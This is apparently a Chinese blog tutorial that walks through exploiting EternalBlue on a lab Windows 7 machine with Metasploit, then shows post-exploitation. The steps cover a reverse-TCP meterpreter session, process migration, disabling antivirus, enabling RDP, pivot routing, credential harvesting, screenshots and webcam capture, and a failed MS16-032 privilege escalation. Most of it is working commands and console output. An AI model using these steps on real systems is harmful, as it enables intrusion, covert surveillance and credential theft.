Metasploit以後滲透攻擊(信息收集、權限提高)

利用永恆之藍漏洞入侵Windows7

流程參考https://www.jianshu.com/p/03a1c13f963a,實在是太棒啦!!!
目標主機爲win7(IP:192.168.1.102);攻擊機爲kali(IP:192.168.1.104);工具爲metasploit5web


啓動metasploit
msfconsole
探測目標主機信息
nmap -sV 192.168.1.102,445端口開放着,大機率能夠用永恆之藍漏洞攻擊
shell

這一次選擇MS17_010漏洞,就是永恆之藍漏洞來入侵Windows7。查找MS17_010漏洞相關的信息:
search ms17_010

第二個輔助模塊是探測主機是否存在MS17_010漏洞windows

選擇這個輔助模塊,看看目標機器是否是有這個問題。

likely ———— 有可能有啊 (必須滴有🤦‍♀️)瀏覽器

開幹!緩存

msf5 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue          # 用攻擊模塊
msf5 exploit(windows/smb/ms17_010_eternalblue) > show payloads                                   # 顯示全部payload

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   1   generic/custom                                               normal  No     Custom Payload
   2   generic/shell_bind_tcp                                       normal  No     Generic Command Shell, Bind TCP Inline
   3   generic/shell_reverse_tcp                                    normal  No     Generic Command Shell, Reverse TCP Inline
   4   windows/x64/exec                                             normal  No     Windows x64 Execute Command
   5   windows/x64/loadlibrary                                      normal  No     Windows x64 LoadLibrary Path
   6   windows/x64/messagebox                                       normal  No     Windows MessageBox x64
   7   windows/x64/meterpreter/bind_ipv6_tcp                        normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
   8   windows/x64/meterpreter/bind_ipv6_tcp_uuid                   normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
   9   windows/x64/meterpreter/bind_named_pipe                      normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
   10  windows/x64/meterpreter/bind_tcp                             normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
   11  windows/x64/meterpreter/bind_tcp_uuid                        normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
   12  windows/x64/meterpreter/reverse_http                         normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   13  windows/x64/meterpreter/reverse_https                        normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   14  windows/x64/meterpreter/reverse_named_pipe                   normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
   15  windows/x64/meterpreter/reverse_tcp                          normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
————————————————————此處省略不少行——————————————————————————————————————

msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp              # 選擇這個payload
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOST 192.168.1.102                                      # 設置目標IP
RHOST => 192.168.1.102
msf5 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.104                                      # 設置攻擊機IP
LHOST => 192.168.1.104
msf5 exploit(windows/smb/ms17_010_eternalblue) > run                                         # 開幹

[*] Started reverse TCP handler on 192.168.1.104:4444 
[*] 192.168.1.102:445 - Connecting to target for exploitation.
[+] 192.168.1.102:445 - Connection established for exploitation.
[+] 192.168.1.102:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.1.102:445 - CORE raw buffer dump (38 bytes)
[*] 192.168.1.102:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61  Windows 7 Ultima
[*] 192.168.1.102:445 - 0x00000010  74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20  te 7601 Service 
[*] 192.168.1.102:445 - 0x00000020  50 61 63 6b 20 31                                Pack 1          
[+] 192.168.1.102:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.1.102:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.1.102:445 - Sending all but last fragment of exploit packet
[*] 192.168.1.102:445 - Starting non-paged pool grooming
[+] 192.168.1.102:445 - Sending SMBv2 buffers
[+] 192.168.1.102:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.1.102:445 - Sending final SMBv2 buffers.
[*] 192.168.1.102:445 - Sending last fragment of exploit packet!
[*] 192.168.1.102:445 - Receiving response from exploit packet
[+] 192.168.1.102:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.1.102:445 - Sending egg to corrupted connection.
[*] 192.168.1.102:445 - Triggering free of corrupted buffer.
[*] Sending stage (206403 bytes) to 192.168.1.102
[*] Meterpreter session 1 opened (192.168.1.104:4444 -> 192.168.1.102:49165) at 2020-09-28 15:09:35 +0800
[+] 192.168.1.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter > sysinfo                        # 能夠隨心所欲了
Computer        : GE-PC
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : zh_CN
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows

成功地對目標機器攻擊滲透後還能夠作什麼? Metasploit提供了一個很是強大的後滲透工具————Meterpreter,該工具具備多重功能,使後續的滲透入侵變得更容易。獲取目標機的Meterpreter Shell後,就進入了Metasploit最精彩的後期滲透利用階段,後期滲透模塊有200多個,Meterpreter有如下優點。安全

  • 純內存工做模式,不須要對磁盤進行任何寫入操做。
  • 使用加密通訊協議,並且能夠同時與幾個信道通訊。
  • 在被攻擊進程內工做,不須要建立新的進程。
  • 易於在多進程之間遷移。
  • 平臺通用,適用於Windows、Linux、 BSD系統, 並支持Intel x86和Intel x64平臺。

本節主要介紹如何利用Meterpreter作好後滲透的準備工做及收集系統各種信息和數據。服務器

進程遷移

在剛得到Meterpreter Shell時,該Shell是極其脆弱和易受攻擊的,例如攻擊者能夠利用瀏覽器漏洞攻陷目標機器,但攻擊滲透後瀏覽器有可能被用戶關閉。因此第一步就是要移動這個Shell,把它和目標機中一個穩定的進程綁定在一塊兒,而不須要對磁盤進行任何寫入操做。這樣作使得滲透更難被檢測到。網絡

輸入ps命令獲取目標機正在運行的進程,以下圖所示。


session

輸入getpid命令查看Meterpreter Shell的進程號,以下圖所示


app

能夠看到Meterpreter Shell進程的PID爲1116,Name爲spoolsv.exe,而後輸入migrate 2428命令把Shell移動到PID爲2428的Explorer.exe進程裏,由於該進程是一個穩定的應用。
完成進程遷移後,再次輸入getpid命令查看Meterpreter Shel的進程號,發現PID已經變成了2428,說明已經成功遷移到Explorer.exe進程裏,如圖所示。


進程遷移完成後,原先PID爲1116的進程會自動關閉,若是沒有自動關閉能夠輸入kill 1116命令「殺掉」 該進程。使用自動遷移進程命令(run post/windows/manage/migrate)後,系統會自動尋找合適的進程而後遷移,如圖所示。



如上圖所示,系統已經把原來PID爲2428的進程遷移到956。

系統命令

得到了穩定的進程後,接下來收集系統信息。先輸入sysinfo命令查看目標機的系統信息,例如操做系統和體系結構,以下圖所示。


輸入run post/windows/gather/checkvm命令檢查目標機是否運行在虛擬機上,以下所示


能夠看到當前目標機正運行在一個VMware虛擬機上.如今檢查目標機是否正在運行, 輸入idletime命令後能夠看到目標機最近的運行時間.


能夠看到目標機器正在運行,而且已經運行了35 mins 16 secs
接着輸入route命令查看目標機完整的網絡設置, 以下圖所示


除此以外,能夠輸入background命令將當前會話放到後臺,此命令適合在多個Meterpreter會話的場景下使用。還能夠輸入getuid命令查看當前目標機器上已經滲透成功的用戶名,以下圖所示。


接着輸入run post/windows/manage/killav命令關閉目標機操做系統, 以下所示


輸入run post/windows/manage/enable_rdp命令啓動目標機的遠程桌面協議,也就是常說的3389端口,以下


而後輸入run post/windows/manage/autoroute命令查看目標機的本地子網狀況, 以下:


能夠經過添加路由藉助被攻陷的主機對其餘網絡的主機發送攻擊.

接着輸入run post/windows/gather/enum_logged_on_users命令列舉當前有多少用戶登錄了目標機.

這系統就ge一個用戶.且當前已經登錄.


列舉完了用戶以後, 繼續輸入 run post/windows/gather/enum_applications命令列舉安裝在目標機上的應用程序, 以下


不少用戶習慣將計算機設置爲自動登陸,下面這個命令能夠抓取自動登錄的用戶和密碼.

run windows/gather/credentials/windows_autologin



能夠看到,當前沒有抓到任何信息。此時就須要用到擴展插件Espia,使用前要先輸入load espia命令加載該插件,而後輸入screengrab命令就能夠抓取此時目標機的屏幕截圖,如圖所示。


抓取成功後就生成了一個名爲YZOFsgTD.jpeg的圖片,保存在root目錄下。這裏輸入screenshot命令也能夠達到一樣的效果,如圖所示。


下面介紹幾個好玩的命令, 查看目標機有沒有攝像頭的命令爲 webcam_list, 以下:
沒有和有結果分別以下(爲撒一會無,一會有? [由於我發現沒有以後把攝像頭又分配給了虛擬機😁])


接着輸入webcam_snap命令打開目標機攝像頭並拍攝一照片, 以下


瘋狂打馬

輸入webcam_stream命令甚至還能夠開啓直播模式. 媽呀,可怕!!



還能夠輸入shell命令進入目標機shell下面, 以下所示.

最後輸入exit命令中止meterpreter會話, 以下所示. 該命令還可用於中止shell會話並返回meterpreter.


文件系統命令

Meterpreter也支持各類文件系統命令,用於搜索文件並執行各類任務,例如搜索文件、下載文件及切換目錄等,相對來講操做比較簡單。經常使用的文件系統命令及其做用以下所示。

  • pwd或getwd: 查看當前處於目標機的哪一個目錄,如圖所示。
  • getlwd: 查看當前處於本地的哪一個目錄
  • ls: 列出當前目錄中的全部文件
  • cd: 切換目錄
  • search -f *.txt -d c:\ 能夠搜索C盤中全部以".txt" 爲擴展名的文件,其中-f參數用於指定搜索文件模式,-d參數用於指定在哪一個目錄下進行搜索,如圖所示。
  • download c:\test.txt /root 下載目標機C盤的test.txt文件到攻擊機root下。
  • upload /root/test.txt c:\ 上傳攻擊機root目錄下的test.txt文件到目標機C盤下。

使用上述命令搜索已被攻陷的目標機,能夠得到更多關於目標機的信息。

後滲透攻擊:權限提高

一般,咱們在滲透過程當中頗有可能只得到了一個系統的Guest或User權限。低的權限級別將使咱們受到不少的限制,在實施橫向滲透或者提權攻擊時將很困難。在主機上若是沒有管理員權限,就沒法進行獲取Hash、安裝軟件、修改防火牆規則和修改註冊表等各類操做,因此必須將訪問權限從Guset提高到User,再到Administrator,最後到System級別。
滲透的最終目的是獲取服務器的最高權限,即Windows操做系統中管理員帳號的權限,或Linux操做系統中root帳戶的權限。提高權限的方式分爲如下兩類。

  • 縱向提權:低權限角色得到高權限角色的權限。例如,一個WebShell權限經過提權以後擁有了管理員的權限,那麼這種提權就是縱向提權,也稱做權限升級。
  • 橫向提權:獲取同級別角色的權限。例如,經過已經攻破的系統A獲取了系統B的權限,那麼這種提權就屬於橫向提權。

因此在成功獲取目標機Meterpreter Shell後,咱們要知道如今已經擁有了什麼權限.
在Meterpreter Shell下輸入shell命令進入目標機的CMD命令行, 接着輸入whoami /groups命令查看咱們當前的權限

從上圖中能夠看到,當前的權限是Mandatory Label\Medium Mandatory Level, 說明咱們是一個標準用戶,那麼就須要將用戶權限從標準用戶提高到管理員,也就是Mandatory Label\High Mandatory Level。
下面咱們就利用本地溢出漏洞來提升權限,也就是說經過運行些現成的、能形成溢出漏洞的Exploit,把用戶從User組或其餘系統用戶組中提高到Administrator組(或root)。
溢出漏洞就像往杯子裏裝水,水多了杯子裝不進去,裏面的水就會溢出來。而計算機有個地方叫緩存區,程序的緩存區長度是事先被設定好的,若是用戶輸入的數據超過了這個緩存區的長度,那麼這個程序就會溢出。

利用WMIC實戰MS16-032本地溢出漏洞

此處咱們經過一系列的滲透測試獲得了目標機器的Meterpreter Shell.首先輸入getuid命令查看已經得到的權限,能夠看到如今的權限很低,是test權限。嘗試輸入getsystem命令提權,結果失敗,如圖所示。

接着查看系統的已打補丁,傳統的方法是在目標機的CMD命令行下輸入systeminfo命令,或者經過查詢C:\windows\裏留下的補丁號".Iog" 查看目標機大概打了哪些補丁,如圖所示。

能夠看到目標機只安裝了3個修補程序。這裏再利用WMIC命令Wmic qfe get Caption,Description,HotFixID,InstalledOn列出已安裝的補丁,如圖所示。

一樣能夠看到目標機只打了3個補丁,要注意這些輸出的結果是不能被直接利用的,使用的方式是去找提權的EXP,而後將系統已經安裝的補丁編號與提權的EXP編號進行對比。好比KiTrap0D (KB979682) 、MS11-011 (KB2393802) ,MS11-080(KB2592799),而後使用沒有編號的EXP進行提權。由於虛擬機不怎麼打補丁,因此咱們可使用不少EXP來提權,這裏就用最新的MS16-032來嘗試提權,對應的編號是KB3139914。

相關漏洞的具體信息分析和共享能夠參考以下兩個網站。

  • 安全焦點,其BugTraq是一個出色的漏洞和Exploit數據源, 能夠經過CVE編號或者產品信息漏洞直接搜索。網址: https://www.securityfocus.com/bid .
  • Exploit-DB, 取代了老牌安全網站milw0rm。 Exploit DB不斷更新大量的Exploit程序和報告,它的搜索範圍是整個網站的內容。網址: https://www.exploit-db.com/

知識點: WMIC是Windows Management Instrumentation Command-line的簡稱,它是一款命令行管理工具,提供了從命令行接口到批命令腳本執行系統管理的支持,能夠說是Windows平臺下最有用的命令行工具。使用WMIC,咱們不但可
以管理本地計算機,還能夠管理同一域內的全部遠程計算機(須要必要的權限), 而被管理的遠程計算機沒必要事先安裝WMIC.
wmic.exe位於Windows目錄下,是一個命令行程序。 WMIC能夠以兩種模式執行:交互模式(Interactive mode)和非交互模式(Non-Interactive mode),常用Netsh命令行的讀者應該很是熟悉這兩種模式。

  • 交互模式。若是你在命令提示符下或經過「運行」菜單隻輸入WMIC,都將進入WMIC的交互模式,每當一個命令執行完畢後,系統還會返回到WMIC提示符下,如"Root\cli" ,交互模式一般在須要執行多個WMIC指令時使用,有時還會對一些敏感的操做要求確認,例如刪除操做,這樣能最大限度地防止用戶操做出現失誤。
  • 非交互模式。非交互模式是指將WMIC指令直接做爲WMIC的參數放在WMIC後面,當指令執行完畢後再返回到普通的命令提示符下,而不是進入WMIC上下文環境中。WMIC的非交互模式主要用於批處理或者其餘一些腳本文件中。

須要注意的是,在Windows XP下,低權限用戶是不能使用WMIC命令的,可是在Windows 7系統和Windows 8系統下,低權限用戶可使用WMIC,且不用更改任何設置。
WMIC在信息收集和後滲透測試階段很是實用,能夠調取查看目標機的進程、服務、用戶、用戶組、網絡鏈接、硬盤信息、網絡共享信息、已安裝補丁、啓動項、已安裝的軟件、操做系統的相關信息和時區等。
接下來準備提權,一樣須要先把Meterpreter會話轉爲後臺執行,而後搜索MS16-032,以下圖所示。

知識點: 若是搜索不到最新的Exploit,能夠輸入msfupdate命令進行升級,獲取最新的Exploit模塊、攻擊載荷,或者手動添加相應漏洞EXP 。
執行如下命令選中MS16-032這個漏洞,而後指定"session" 進行提權操做,這裏咱們指定服務"session" 爲 「1」,而後run 。
額這塊失敗了, 不玩了mmp......

爲方便提權, 下面附上部分系統對應的補丁號.

說明

本文參考 開篇的博客連接 及 《Web安全攻防:滲透測試實戰指南》
全部過程僅供演示交流,禁止用於非法用途,由此產生的非法後果與我無瓜

相關文章
相關標籤/搜索